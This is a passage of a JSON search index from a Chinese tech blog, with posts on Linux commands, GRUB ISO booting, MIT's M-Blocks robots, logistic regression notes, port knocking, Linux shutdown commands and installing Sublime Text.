cd 這個指令，就用：\ntype cd 輸出為\ncd is a shell builtin 這就表示 cd 是內建於 shell 中的指令，也就是內部指令。如果是外部指令，就會直接顯示該指令的絕對路徑，例如：\ntype cat 輸出為\ncat is /bin/cat 根據上面的說明，你應該就會了解在撰寫指令稿時可以盡量使用內部指令，以增加執行效率，但是大部分的人其實都很少會去注意自己所使用的是內部指令還是外部指令，因為如果指令稿根本就沒幾行，你可能根本看不出內部指令與外部指令的差異，這個差異大概只有在指令稿很大的時候才會比較明顯。\n另外，在撰寫指令稿時也不見得常常有機會可以使用內部指令來代替外部指令，而且這也要自己對於 shell 的程式設計功力夠強才有辦法。\n舉例來說，如果要算兩個數值相加可以使用\nn=`expr $i+$j` 其中的 expr 就是一個外部指令，這時候就可以用\nlet n=i+j 這個內部的指令來代替，這樣執行效率就可以提升，而其效果是一樣的。\n","permalink":"https://blog.gtwang.org/linux/linux-internal-and-external-commands/","summary":"\u003cp\u003e這裡介紹 UNIX/Linux 系統中內部（internal）指令與外部（external）指令的差異所在。\u003c/p\u003e\n\u003cp\u003e一般的 UNIX 或 Linux 系統中的指令可分為兩種，分別為內部（internal）指令與外部（external）指令，對於一般的 Linux 新手而言，可能很少注意到這個問題，而了解它們之間的差異對於撰寫指令搞會有一些幫助。以下我們會說明這兩種指令的定義與其中的差別。\u003c/p\u003e","title":"Linux 系統的內部（Internal）指令與外部（External）指令"},{"content":"這裡介紹如何在 Ubuntu Linux 系統中設定 GRUB 開機選單，讓硬碟中的 ISO 映像檔直接可以開機。\n讓硬碟中的 ISO 映像檔可以直接開機有時候非常有用，例如想要測試一些新的 Linux 發行版的時候，如果可以直接用硬碟中的 ISO 映像檔開機，就可以省去燒錄 CD/DVD 或製作 USB 開機碟的時間與力氣。\n在這裡我們將示範使用 GRUB2 讓硬碟中所存放的 Ubuntu 13.04 ISO 檔來開機，而實作的方法有兩種，一種是使用 grml-rescueboot 自動更新 GRUB2 的開機選單，而另外一種則是自行更改 GRUB2 的設定檔。\n使用 grml-rescueboot 讓 ISO 映像檔開機 grml-rescueboot 是一個用於輔助 update-grub 的套件，它提供一個 update-grub 專用的指令稿（script），讓所有放在 /boot/grml 目錄下的 Grml ISO 映像檔可以自動被加入開機選單中，它的目的就是可以讓使用者在不需要 CD/DVD 或 USB 隨身碟的情況下，使用這些映像檔開機然後進入 Grml 的救援模式。\n在 Ubuntu Linux 中若要安裝 grml-rescueboot，可以使用 apt 來安裝：\nsudo apt-get update sudo apt-get install grml-rescueboot 接著將要用來開機的映像檔複製到 /boot/grml/ 目錄中：\nsudo cp -v ~/ISOFILE/ubuntu-13.04-desktop-i386.iso /boot/grml/ 接著更新 GRUB2 的開機選單：\nsudo update-grub 重新開機之後，你就會看到開機選單中多了一項「Grml rescue system」，選擇這個就可以使用剛剛放進去的映像檔開機了。\n自行修改 GRUB 設定檔 除了透過 grml-rescueboot 這個方式之外，你也可以自行修改 GRUB 的設定檔來讓硬碟中的 ISO 映像檔開機。首先，要先找一個地方放置映像檔：\nsudo mkdir /isoimage 把映像檔放進去：\nsudo cp -v ~/ISOFILE/ubuntu-13.04-desktop-i386.iso /isoimage 使用 nano 編輯 /etc/grub.d/40_custom 這個 GRUB 的設定檔（當然你也可以使用自己習慣的編輯器，如 vi 等）：\nsudo nano /etc/grub.d/40_custom 加入以下的設定：\nmenuentry \u0026#34;Ubuntu 13.04 Live\u0026#34; { set root=(hd0,1) loopback loop /isoimage/ubuntu-13.04-desktop-i386.iso linux (loop)/casper/vmlinuz boot=casper iso-scan/filename=/isoimage/ubuntu-13.04-desktop-i386.iso noprompt noeject initrd (loop)/casper/initrd.lz } 就像這樣\n編輯完成之後，就可以存檔離開了。最後重新開機之後，就可以看到新的開機選單了。\n參考資料 Ubuntu Portal ","permalink":"https://blog.gtwang.org/linux/boot-iso-image-from-your-hard-drive-in-ubuntu/","summary":"\u003cp\u003e這裡介紹如何在 Ubuntu Linux 系統中設定 GRUB 開機選單，讓硬碟中的 ISO 映像檔直接可以開機。\u003c/p\u003e\n\u003cp\u003e讓硬碟中的 ISO 映像檔可以直接開機有時候非常有用，例如想要測試一些新的 Linux 發行版的時候，如果可以直接用硬碟中的 ISO 映像檔開機，就可以省去燒錄 CD/DVD 或製作 USB 開機碟的時間與力氣。\u003c/p\u003e","title":"使用 GRUB 以硬碟中的 ISO 映像檔開機"},{"content":"變形金剛以前只出現在電影裡，現在有真實版的出現了，只是比較小一點。 🙂\n如果你感覺電影裡的變形金剛很炫，那你應該會對這個麻省理工學院（MIT）的最新研究感興趣，其計算機科學與人工智慧研究室（CSAIL）的研究者研發出一個可以自己變形的機器人（robot），就像電影裡的變形金剛一樣，會自己變形，只不過大小沒有像 Optimus Prime 與 Megatron 那麼大。:)\n這個會自己變形的機器人他們取名叫做 M-Blocks，它是由一堆正方體所組成的，這些正方體可以依據不同的需求自己組合成不同的形狀，所有的組合動作都是自己自動完成的，不需要人來幫忙（如果還需要人來動手，那就跟我兒子的玩具沒兩樣了）。\n這是一個令人耳目一新的發明，一般的機器人通常都是依照某種特定需求來設計的，沒辦法自由改變自己的硬體架構，所以通常機器人都只能做一些很單純的事情，如果換一些比較不一樣的事情，它就沒辦法處理了。但是當我們沒辦法事先知道機器人要做什麼事的時候，這個機器人就很難設計了，例如到火星上探險，你不知道在那裡會發生什麼事，這時候果將機器人設計成這樣可以變形的架構，就可以隨時依據各種需求，變形成適當的樣子來處理各種問題。\n這個機器人的每個正方體可以自由移動，主要可分為三個原因，首先，它的每個面上都有裝載小型的磁鐵，這可以幫助正方體在移動後能夠互相緊貼著並對齊，不會亂跳，再者，正方體內部裝有調速輪（flywheel），這可以讓它進行瞬間轉動、跳躍的動作，甚至還可以飛起來，這個調速輪的轉速高達每分鐘兩萬轉，所以可以提供正方體足夠的力道進行各種高難度的動作，最後，正方體的每個邊上有都有磁鐵，這可以讓正方體互相緊貼，透過旋轉的方式變換位置。另外有一種狀況比較特別，就是當正方體整顆飛起來的時候，這種狀況就要看著磁力來控制降落的位置，這個高難度動作也是這個機器人的特色之一。\n目前研究人員是靠著無線電波控制這個機器人的變形，在未來他們打算設計演算法放進機器人裡面，讓機器人可以自己判斷該怎麼變形。\n另外他們也規劃將要製作一隊機器人「軍團」，讓這些機器人可以互相辨識，在需要的時候組成桌子、椅子等，而在一些緊急情況下，甚至可以架設橋梁、與維修建築物，組裝成一些重型設備等等。機器人的好處就是可以到一些人無法進入的地區工作，而這樣可以自由變形的機器人彈性又會更大。\n變型機器人這個想法並不是現在才有，只是像 M-Blocks 這樣簡單的設計卻是一個嶄新的概念，他們想要設計一個很簡單的機器人，不要有太多複雜的構造，這樣就可以更容易將這個設計概念移植給不同的機器人使用，如果使用的元件越少，在未來工程師們就可以更容易設計出迷你型的機器人。\nM-Blocks 是一個很有趣的東西，它利用很簡單的技術，解決一個大家認為應該要高科技才能解決的問題，我們常常把問題想的太難，但其實仔細想想後，解決的方式可能很簡單。\n","permalink":"https://blog.gtwang.org/funny/self-assembling-robots-mit-m-blocks/","summary":"\u003cp\u003e變形金剛以前只出現在電影裡，現在有真實版的出現了，只是比較小一點。 🙂\u003c/p\u003e\n\u003cp\u003e如果你感覺電影裡的變形金剛很炫，那你應該會對這個麻省理工學院（MIT）的最新研究感興趣，其計算機科學與人工智慧研究室（CSAIL）的研究者研發出一個可以自己變形的機器人（robot），就像電影裡的變形金剛一樣，會自己變形，只不過大小沒有像 Optimus Prime 與 Megatron 那麼大。:)\u003c/p\u003e","title":"真實版的變形金剛：MIT 研究出一個會自己變形的機器人"},{"content":"本篇為史丹佛大學機器學習（Machine Learning）課程 Lecture 3 的後半段筆記，接續 Lecture 3 前半部的內容。\nLecture 3 的線上課程錄影可以從 YouTube 網站上觀看。\n分類與羅吉斯迴歸（Classification and Logistic Regression） 接下來我們要開始介紹分類的問題，這種問題跟迴歸類似，只不過在這裡的 \\(y\\) 是離散的（discrete）值，而在這裡我們先討論二元分類（binary classification）的問題，也就是 \\(y\\) 的值只會有兩種（也就是 0 與 1）的狀況，而這邊所講述的概念大部份都可以拓展到多元分類的問題上。\n舉個例子來說，如果你想要建立一個垃圾信件的篩選器，那麼 \\(x^{(i)}\\) 就會是一些電子郵件的特徵，而 \\(y\\) 的值就是 1 或 0（分別代表該郵件是否為垃圾郵件），這裡的 0 也稱為 negative class，而 1 也稱為 positive class，有時候也用加號（+）與減號（-）表示。在給定 \\(x^{(i)}\\) 的情況下，對應的 \\(y^{(i)}\\) 也稱為該 training example 的 label。\n羅吉斯迴歸（Logistic Regression） 當然我們也可以不管 \\(y\\) 是否為離散的變數，直接使用一般的迴歸分析來處理，在一些很特殊的狀況下可能還是可以處理的不錯，例如我們的資料很規則，像下面這張圖這樣，那麼經過迴歸配適之後，我們可以把預測出來的 \\(y\\) 值用 0.5 來區分，超過 0.5 就視為 1，小於 0.5 則視為 0，在這個例子中可能沒有太大的問題。\n但是實際上我們可以很容易就找到一個沒辦法這樣使用的例子，例如上面這個例子我們加上一些 \\(x\\) 比較大的資料，就會變成下面這樣：\n這時候你就會發現用傳統迴歸的方法，配適出來的迴歸線如果還是使用 0.5 為分界的話，就會出現一些問題（中間四筆資料的分類就會是不正確的）。\n另外在直覺上，因為我們的 \\(y\\) 只會有兩種值（\\(y \\in \\{0,1\\}\\)），如果 \\(h_{\\theta}(x)\\) 出現大於 1 或小於 0 的值，在解釋上也不太合理。\n為了解決這樣的問題，我們將 hypotheses \\(h_{\\theta}(x)\\) 改為\n\\[h_{\\theta}(x)=g(\\theta^Tx)=\\frac{1}{1+e^{-\\theta^Tx}}\\]其中\n\\[g(z)=\\frac{1}{1+e^{-z}}\\]稱為羅吉斯函數（logistic function）或 sigmoid function，下面這張圖是這個函數的長相\n當 \\(z\\) 趨近於無限大（\\(\\infty\\)）時，這個 \\(g(z)\\) 就會趨近於 1，而當 \\(z\\) 趨近於負的無限大（\\(-\\infty\\)）時，\\(g(z)\\) 就會趨近於 0，由於這個性質也使得 \\(h(x)\\) 的值域都介於 0 與 1 之間。仿照之前的做法，令 \\(x_0=1\\)，我們可以得到 \\(\\theta^Tx=\\theta_0+\\sum_{j=1}^n\\theta_jx_j\\)。\n這裡我們是直接使用 \\(g\\) 這個函數來作為 hypotheses 函數，而除此之外其實任何會從 0 平滑上升到 1 的函數也都可以拿來使用，之所以選擇 \\(g\\) 的原因在於它具有一些很自然的性質（在之後當我們討論到 GLM 與 generative learning algorithms 時就會看到）。\n\\(g\\) 的微分有一些不錯的性質，這裡先推導一下，之後會用到：\n\\begin{aligned} g\u0026rsquo;(z)=\u0026amp;\\frac{d}{dz}\\frac{1}{1+e^{-z}}\\ =\u0026amp;\\frac{1}{(1+e^{-z})^2}\\big(e^{-z}\\big)\\ =\u0026amp;\\frac{1}{1+e^{-z}} \\cdot \\Big(1-\\frac{1}{1+e^{-z}}\\Big)\\ =\u0026amp;g(z)(1-g(z)) \\end{aligned}\n之前在討論一般的迴歸模型時，我們加入了一些統計上的假設，導出最小平方迴歸就是最大概似估計，這裡也是使用類似的方法。首先假設\n\\begin{aligned} P(y=1\\mid x;\\theta)=\u0026amp;h_\\theta(x)\\ P(y=0\\mid x;\\theta)=\u0026amp;1-h_\\theta(x)\\ \\end{aligned}\n而這兩個式子可以合併為\n\\[p(y\\mid x;\\theta)=(h_\\theta(x))^y(1-h_\\theta(x))^{1-y}\\]假設所有 \\(m\\) 個 training examples 都是獨立的，我們可以得到 \\(\\theta\\) 的概似函數\n\\begin{aligned} L(\\theta)\u0026amp;=p(\\vec{y}\\mid X;\\theta)\\ \u0026amp;=\\prod_{i=1}^mp(y^{(i)}\\mid x^{(i)};\\theta)\\ \u0026amp;=\\prod_{i=1}^m(h_\\theta(x^{(i)}))^{y^{(i)}}(1-h_\\theta(x^{(i)}))^{1-y^{(i)}} \\end{aligned}\n跟之前的做法類似，經過對數轉換之後，就可以很容易找到它的極大值\n\\begin{aligned} l(\\theta)=\u0026amp;\\log L(\\theta)\\ =\u0026amp;\\sum_{i=1}^my^{(i)}\\log h(x^{(i)})+(1-y^{(i)})\\log(1-h(x^{(i)})) \\end{aligned}\n跟之前一般迴歸的做法一樣，我們可以使用 gradient ascent，如果以向量的形式來表示，遞迴式可以寫成 \\(\\theta := \\theta+\\alpha\\nabla_{\\theta}l(\\theta)\\)。因為在這裡我們要找的是最大值，所以在遞迴式中變動項要取成正的（跟之前迴歸的狀況相反）。\n接著我們來看只有一組 training example \\((x,y)\\) 的情況，以及推導出來的遞迴式。\n\\begin{aligned} \\frac{\\partial}{\\partial\\theta_j}l(\\theta)=\u0026amp;\\Big(y\\frac{1}{g(\\theta^Tx)}-(1-y)\\frac{1}{1-g(\\theta^Tx)}\\Big)\\frac{\\partial}{\\partial\\theta_j}(\\theta^Tx)\\ =\u0026amp;\\Big(y\\frac{1}{g(\\theta^Tx)}-(1-y)\\frac{1}{1-g(\\theta^Tx)}\\Big)g(\\theta^Tx)(1-g(\\theta^Tx)\\frac{\\partial}{\\partial\\theta_j}\\theta^Tx\\ =\u0026amp;\\big(y(1-g(\\theta^Tx))-(1-y)g(\\theta^Tx)\\big)x_j\\ =\u0026amp;(y-h_\\theta(x))x_j \\end{aligned}\n這裡帶入剛剛上面推導過的 \\(g'(z)=g(z)(1-g(z))\\)，所以可以得到\n\\[\\theta_j:=\\theta_j+\\alpha\\big(y^{(i)}-h_\\theta(x^{(x)})\\big)x_j^{(i)}\\]這個結果如果跟之前的 LMS（least mean squares）演算法所推導出來的遞迴公式比較，你會發現它們是完全一樣的，但他們其實是不一樣的演算法，因為現在這裡的 \\(h_\\theta(x^{(i)})\\) 跟之前不同，它在這裡被定義為一個非線性的函數 \\(\\theta^Tx^{(i)}\\)。而不管怎麼樣，我們以不一樣的演算法與不同的問題，卻推導出相同的遞迴式，確實讓人有點驚訝，這到底是巧合還是另有原因，這個我們在之後討論到 GLM 的時候會來解釋。\n補充：感知學習演算法（Perceptron Learning Algorithm） 這裡補充一個相關的演算法，這個演算法在之後講到學習理論時還會再拿來討論。假設我們把上面的羅吉斯迴歸改變一下，讓它的值只會出現 0 與 1，以也就是把 \\(g(z)\\) 的定義改為一個定限函數（threshold function）\n\\[ g(z) = \\begin{cases} 1 \u0026 \\mbox{if $z \\geq 0$}\\\\ 0 \u0026 \\mbox{if $z \u003c 0$} \\end{cases} \\]跟之前一樣令 \\(h_\\theta(x)=g(\\theta^Tx)\\)，這樣也可以得到相同的遞迴式\n\\[\\theta_j:=\\theta_j+\\alpha\\big(y^{(i)}-h_\\theta(x^{(x)})\\big)x_j^{(i)}\\]這個就稱為感知學習演算法（perceptron learning algorithm）。\n在 1960 年代，大家曾經爭論過感知學習演算法是否可以描述腦神經的運作，而這種簡單的演算法也可以作為這堂課的一個暖身，雖然它的樣子跟上面演算法都很相似，但它跟羅吉斯迴歸與一般的線性迴歸是完全不一樣的，尤其這種感知學習演算法無法用合理的機率理論來解釋，也沒辦法使用最大概似估計的方式推導。\n繼續閱讀：史丹佛大學機器學習（Machine Learning）上課筆記（五）\n","permalink":"https://blog.gtwang.org/statistics/standford-machine-learning-4/","summary":"\u003cp\u003e本篇為史丹佛大學機器學習（Machine Learning）課程 Lecture 3 的後半段筆記，接續 \u003ca href=\"/statistics/standford-machine-learning-3/\"\u003eLecture 3 前半部\u003c/a\u003e的內容。\u003c/p\u003e\n\u003cp\u003eLecture 3 的線上課程錄影可以從 \u003ca href=\"https://www.youtube.com/watch?v=HZ4cvaztQEs\"\u003eYouTube 網站\u003c/a\u003e上觀看。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"史丹佛大學機器學習（Machine Learning）上課筆記（四）"},{"content":"port knocking 技術可以提供伺服器與網路多一層安全上的防護，讓系統比較不容易被入侵。\n這裡我們將從比較高些的角度介紹：\n什麼是連接埠（port）？ 什麼是連接埠攻擊（port attack）？ 什麼是 port knocking？以及它有什麼用處？ 電腦的連接埠（Ports） 一般說到電腦的連接埠可以分為兩種：\n硬體連接埠。 軟體連接埠。 硬體的連接埠比較簡單了解，它其實只是一個插座而已，用來連接其他的電腦或設備，例如網路卡上接網路線的網路孔就是一個常見的例子。\n另外一種軟體連接埠就比較抽象，它在概念上跟實體的連接埠類似，只不過它是用在兩個或多個行程（process）之間的溝通上，有點像是行程上的一個插座，同一台電腦或不同台電腦中的行程就可以靠著軟體連接埠進行連線與資料的傳遞。\n在實作上，一個 IP 位址加上一個軟體連接埠就可以組成一個可用的連線端點，在伺服器與使用者端電腦在連線時，要判斷一筆網路上的資料是要給哪一台電腦的哪個行程，就是依據 IP 位址與連接埠，而根據伺服器與使用者端電腦的兩個 IP 位址與兩個軟體連接埠，就可以辨識出這條連線。\n在討論 port knocking 時，我們談論的連接埠都是指軟體連接埠。\n連接埠攻擊（Port Attacks） 在討論 port knocking 之前，我們先簡略描述一下一般網路駭客所使用的攻擊技術，讓大家先有概念，到底連接埠跟網路攻擊之間有什麼關聯性，而這裡我們要介紹的攻擊技術稱為連接埠掃描（port scanning）。\n連接埠掃描是一種常見的網路攻擊技巧，他的原理就是掃瞄一台電腦所有的連接埠，看看哪些連接埠有開啓，而每個開啟的連接埠也會對應一個使用這個連接埠的應用程式，通常一些常見的應用程式其開啓的連接埠都是固定的，換句話說，攻擊者只要找出該電腦所開啓的連接埠是哪些，大約就可以猜出有哪一些應用程式在執行，而攻擊者就可以從中挑選一些安全性較低、容易入侵的程式進行攻擊，透過這樣的方式入侵到系統中。\n我們再舉一些常見的例子，像網頁伺服器（HTTP）就會開啓 80 這個連接埠，而檔案傳輸（FTP）的服務就會開啓 21 連接埠等等，攻擊者只要確認你所使用的伺服器軟體，而又剛好找到該軟體的漏洞的話，他就可以有機會入侵系統了。\n我個人也有這方面的經驗，在大學時候剛接觸 Linux，對系統不甚了解，用 Wu-FTP 架了一個 FTP 伺服器，因為沒注意 Wu-FTP 有很大的漏洞，伺服器放著一段時間，就這樣給駭客入侵了，後來有經驗之後，就會開始注意這方面的問題。\nPort Knocking port knocking 是一個可以在現有的防護措施上再多加上一層保護的技術，它的基本想法就是只有開啓的連接埠才會有被攻擊的風險，所以它就讓所有的連接埠在一開始都不要開啓，然後以連接埠的組合設定一個暗號，只有知道暗號的人才能讓連接埠開啟，然後連線。\n我們舉個實際的例子來描述這個概念，平常你在家裡時，為了要避免壞人跑進自己家裡，所以都會把大門鎖上，但是有時候又有朋友來訪，而你在開門之前又無法確認門外的人到底是壞人還是朋友，該怎麼辦呢？這時候你可以設定一個暗號（例如芝麻開門），把這個暗號告訴你的朋友，當朋友來訪時就用送出這個暗號，而你要確認暗號正確才會開門，因為壞人不知道暗號，所以就沒有機會讓你開門，這樣就很安全了。\n下面這張圖是以一個很高階的角度來敘述 SSH port knocking 的過程，如果沒有 port knocking 的改念，SSH 伺服器就會讓 SSH 的連接埠（22）持續保持開啟的狀態，但是如果使用了 port knocking 的技術，client 必須先送出一組固定的連接埠組合（暗號），然後等伺服器確認該連接埠組合是正確的之後，才會把 SSH 的連接埠打開讓 client 連線。\n透過這樣 port knocking 的方式，可以讓電腦多一層防護，但是攻擊者還是可以用暴力法，不斷的嘗試各種連接埠組合，若要對付這樣的狀況，可以讓防火牆針對這樣不斷嘗連接埠組合的人做一些處理，例如有人如果猜了太多次錯誤的組合，就直接把他擋在門外了。另外，如果想要使用暴力法攻擊，其實也不太可能，因為要猜出由 65535 個連接埠的組合，是非常困難的事情。\nPort Knocking 的優點與缺點 這裡整理了一些 port knocking 的優點與缺點。\nport knocking 的優點如下：\n提供一個強而有力的防護。 認證模式不容易被破解。 很容易移植到既有的應用程式上使用。 而 port knocking 的缺點也是不少：\n伺服器必須告知 client 暗號是什麼。 client 的暗號必須要小心保管。 伺服器的暗號確認機制如果故障，會造成整個系統癱瘓。 這裡我們簡單介紹了 port knocking 的概念，也列出了目前大家正在討論的優缺點，而這樣技術也還在發展中，可能離實際應用還有一小段距離。\n參考資料 The Geek Stuff ","permalink":"https://blog.gtwang.org/useful-tools/port-knocking/","summary":"\u003cp\u003eport knocking 技術可以提供伺服器與網路多一層安全上的防護，讓系統比較不容易被入侵。\u003c/p\u003e\n\u003cp\u003e這裡我們將從比較高些的角度介紹：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e什麼是連接埠（port）？\u003c/li\u003e\n\u003cli\u003e什麼是連接埠攻擊（port attack）？\u003c/li\u003e\n\u003cli\u003e什麼是 port knocking？以及它有什麼用處？\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"電腦的連接埠ports\"\u003e電腦的連接埠（Ports）\u003c/h2\u003e\n\u003cp\u003e一般說到電腦的連接埠可以分為兩種：\u003c/p\u003e","title":"使用 Port Knocking 技術增加伺服器與網路的安全性"},{"content":"這裡介紹如何使用 Linux 的 shutdown、halt 與 poweroff 這些指令來關機，另外提供各種情況的關機方法教學。\n一般的 Linux 系統如果要關機，通常都會使用 shutdown 這個指令，除此之外，halt 與 poweroff 這兩個指令也可以用來關機，這裡我們會介紹這些關機指令的使用方式，同時也會提供各種情況的關機範例給大家參考。\n如果在 Linux 當機的狀況下要重新開機，可以嘗試使用 SysRq 鍵讓電腦正常重新啟動。\nshutdown 指令 使用 shutdown 指令是一般 Linux 系統建議的關機方式，他會比較安全的讓系統正常關機，在使用 shutdown 指令關機時，所有登入系統中的使用者都會收到即將關機的警告訊息，而在關機的前五分鐘，也會禁止新的使用者登入。\nshutdown 指令的使用方法如下：\nshutdown [OPTION] TIME [MESSAGE] 其中 TIME 是指要關機的時間，其格式可分為好幾種：\nnow：指定為目前的時間，有就是立即關機的意思，這個應該是最常會被用到。 +m：指定多少分鐘之後關機，例如 +30 就是指 30 分鐘之後關機。 hh:mm：指定某個時間點關機，時間的格式是使用 24 小時制的，例如 18:30 就是下午六點三十分關機。 當 TIME 所指定的時間到了之後，shutdown 指令就會送出一個通知給 init 這個 daemon，讓系統進入適當的 runlevel，準備關機。\n在選項（OPTION）的部分，可用的選項有：\n-r：讓系統重新開機（reboot）。 -h：讓系統停止運作（halt）或關閉電源（power off），至於會選擇哪一種則取決於系統（有時候可以在 BIOS 中更改）。 -H：讓系統停止運作。 -P：讓系統關閉電源。 -c：取消之前所下達的關機指令。 -k：模擬關機，只有對使用者發出警告，並禁止新使用者登入，但不關機。 這裡的停止運作（halt）與關閉電源（power off）是有差異的，停止運作是指停止電腦上所有 CPU 的運作，這時候螢幕上應該會出現類似「System halted」的字眼，然後就停住了（電源還是開著的），而關閉電源（power off）就是會送出 ACPI 指令通知 PSU 關閉電腦的電源。\n接著我們來看一些常用的 shutdown 指令範例。因為關機的動作只有 root 管理者有權限可以執行，所以在使用時記得在 shutdown 指令前加上 sudo -s 或是使用 su - 變更為 root。\n立即關機 這是最常用例子，大家應該也都是這樣用的。\n# 立即關機 shutdown -h now 也可以寫成這樣：\n# 立即關機 shutdown -h +0 或是用更簡潔的寫法：\n# 立即關機 shutdown -h 0 這些寫法都是一樣的。\n指定時間關機 設定在當天的晚上 21:30 分關機。\n# 晚上 21:30 分關機 shutdown -h 21:30 如果是使用 SSH 這類的遠端登入，要設定讓機器在某個時間關機，可以讓 shutdown 放在背景執行：\n# 晚上 21:30 分關機(背景執行) shutdown -h 21:30 \u0026amp; 下完這行指令就可以直接登出，然後系統在時間到的時候就會自己關機。\n關機並送出警告訊息給所有使用者 在十分鐘之後關機，並送出一段訊息給所有目前還在登入中的使用者：\n# 關機並送出警告訊息給所有使用者 shutdown -h +10 \u0026#34;Development server is going down for maintenance. Please save your work ASAP.\u0026#34; 而使用者所看到的訊息會類似這樣：\nBroadcast message from root@wks01 (pts/0) (Sat Apr 21 02:26:30 2012): Development server is going down for maintenance. Please save your work ASAP. The system is going DOWN for system halt in 10 minutes! 取消關機 假設我們之前已經設定好在某個時間自動關機，如果想要取消，就使用：\n# 取消關機 shutdown -c 模擬關機 有時候我們沒有要真正關機，只是想嚇一嚇線上的使用者，或是在實際執行關機前，測試一下，可以搭配 -k 參數：\n# 模擬關機 shutdown -k 18:30 這時候，系統只會送出關機的訊息，就像這樣：\nBroadcast message from seal@steteo1 (/dev/pts/0) at 16:50 ... The system is going down for maintenance in 100 minutes! 看到這個訊息之後，就不會繼續執行關機了，你可以藉此測試一下自己下的指令有沒有問題。\n重新開機 入要重新開機，則使用 -r 參數：\n# 重新開機 shutdown -r now 另外，亦可使用 reboot 這個指令，效果也是一樣的：\n# 重新開機 reboot halt 與 poweroff 指令 halt 其實跟 shutdown 沒多大分別，只不過 shutdown 在關機時會把系統的服務都關閉之後，才關閉電腦，而 halt 指令則允許不管系統的狀態為何，直接停止電腦的運作，例如：\n# 直接關機 halt -f poweroff 指令也是類似的狀況，它也允許你不管系統的狀況，直接把電腦的電源切斷，例如：\n# 直接切斷電源 poweroff -f 雖然系統有提供這樣的功能，但是其實這些功能在一般的狀況根本用不到，除非是系統真的當機，不然使用 shutdown 來關機會比較安全。\n其他相關指令 這裡我們蒐集了一些跟 Linux 關機有關的指令範例。\n查詢關機與重新開機的紀錄 如果要查詢機器的關機紀錄，可以使用 last 指令：\n# 查詢關機紀錄 last -x shutdown 輸出為\nshutdown system down 3.8.0-26-generic Mon Oct 7 19:03 - 19:31 (00:27) shutdown system down 3.8.0-26-generic Mon Oct 7 16:07 - 19:00 (02:53) shutdown system down 3.8.0-26-generic Mon Oct 7 11:59 - 14:53 (02:54) 而若要查詢重新開機的紀錄，方法也差不多：\n# 查詢重新開機紀錄 last -x reboot 輸出為\nreboot system boot 3.8.0-26-generic Mon Oct 7 19:31 - 19:46 (00:15) reboot system boot 3.8.0-26-generic Mon Oct 7 19:00 - 19:03 (00:02) reboot system boot 3.8.0-26-generic Mon Oct 7 14:53 - 16:07 (01:13) 參考資料 nixCraft ","permalink":"https://blog.gtwang.org/linux/how-to-shutdown-linux/","summary":"\u003cp\u003e這裡介紹如何使用 Linux 的 \u003ccode\u003eshutdown\u003c/code\u003e、\u003ccode\u003ehalt\u003c/code\u003e 與 \u003ccode\u003epoweroff\u003c/code\u003e 這些指令來關機，另外提供各種情況的關機方法教學。\u003c/p\u003e\n\u003cp\u003e一般的 Linux 系統如果要關機，通常都會使用 \u003ccode\u003eshutdown\u003c/code\u003e 這個指令，除此之外，\u003ccode\u003ehalt\u003c/code\u003e 與 \u003ccode\u003epoweroff\u003c/code\u003e 這兩個指令也可以用來關機，這裡我們會介紹這些關機指令的使用方式，同時也會提供各種情況的關機範例給大家參考。\u003c/p\u003e","title":"Linux 關機指令（shutdown、halt 與 poweroff）教學與範例"},{"content":"Sublime Text 是一個跨平台的專業文字編輯器，支援各種程式語言，非常適合程式開發者使用。\nSublime Text 支援 Linux 、Windows 與 Mac OS X 三種作業系統，以一個文字編輯器而言，其在功能上非常強大，可以媲美一般專業的程式開發軟體，像一般的自動完成（autocomplete）、多重選擇、多重視窗分割等功能都有支援。\n安裝 Sublime Text 在 Linux 平台上如果想安裝 Sublime Text，可以從其官方網站下載編譯好的版本，解壓縮後就可以使用了。Linux 平台有分為兩種版本，分別為 32 位元與 64 位元，下載時請依照自己的作業系統來選擇，這裡以 64 位元的版本為例：\ntar jxvf Sublime\\ Text\\ 2.0.2\\ x64.tar.bz2 然後再把它移到要安裝的位置，依照一般 Linux 的檔案結構慣例，像這樣自己安裝的軟體可以放在 /opt 目錄之下：\nsudo mv Sublime\\ Text\\ 2 /opt/ 直接執行就可以使用了：\n/opt/Sublime\\ Text\\ 2/sublime_text 如果感覺這樣以絕對路徑執行不方便，可以在 /usr/bin 建立連結：\nsudo ln -s /opt/Sublime\\ Text\\ 2/sublime_text /usr/bin/sublime 這樣就可以直接執行：\nsublime 接著我們再建立一個桌面用的啟動圖示，首先用剛安裝好的 Sublime 編輯器新增一個啟動圖示檔：\nsudo sublime /usr/share/applications/sublime.desktop 內容如下：\n[Desktop Entry] Version=1.0 Name=Sublime Text 2 # Only KDE 4 seems to use GenericName, so we reuse the KDE strings. # From Ubuntu\u0026#39;s language-pack-kde-XX-base packages, version 9.04-20090413. GenericName=Text Editor Exec=sublime Terminal=false Icon=/opt/Sublime Text 2/Icon/48x48/sublime_text.png Type=Application Categories=TextEditor;IDE;Development X-Ayatana-Desktop-Shortcuts=NewWindow [NewWindow Shortcut Group] Name=New Window Exec=sublime -n TargetEnvironment=Unity 儲存之後，在桌面的選單中就會有 Sublime Text 2 的啟動圖示了。\n下面這個是 Sublime Text 2 的使用的畫面：\n如果想要讓系統預設使用 Sublime 開啟一般文字檔，可以直接修改系統的設定檔：\nsudo sublime /usr/share/applications/defaults.list 將所有的 gedit.desktop 更改為 sublime.desktop 即可。\n如果感覺自己下載壓縮檔來安裝不方便，也可以使用 WebUpd8 所提供的 PPA 來安裝：\nsudo add-apt-repository ppa:webupd8team/sublime-text-2 sudo apt-get update sudo apt-get install sublime-text 如果是 Windows 與 Mac OS X 作業系統，可以從它的官方網站下載打包好的安裝檔，安裝方式就跟一般的軟體一樣，很方便。\n雖然 Sublime Text 是可以直接下載使用的，但它其實不是免費的，個人版的 license 一套 70 塊美金，如果你真感覺它很好用，建議還是買一下吧，順便贊助它們，畢竟開發這樣專業級的軟體也不容易。\n在 Linux 使用 IBus 輸入中文 如果是在 Linux 系統中，Sublime Text 2 基本上沒辦法直接使用 iBus 來輸入中文，但還是有一個變通的方式可以處理這個問題。\n根據網路上的文章，如果想使用 ibus，可以靠 InputHelper 這個套件（package）來讓 Sublime Text 使用 iBus 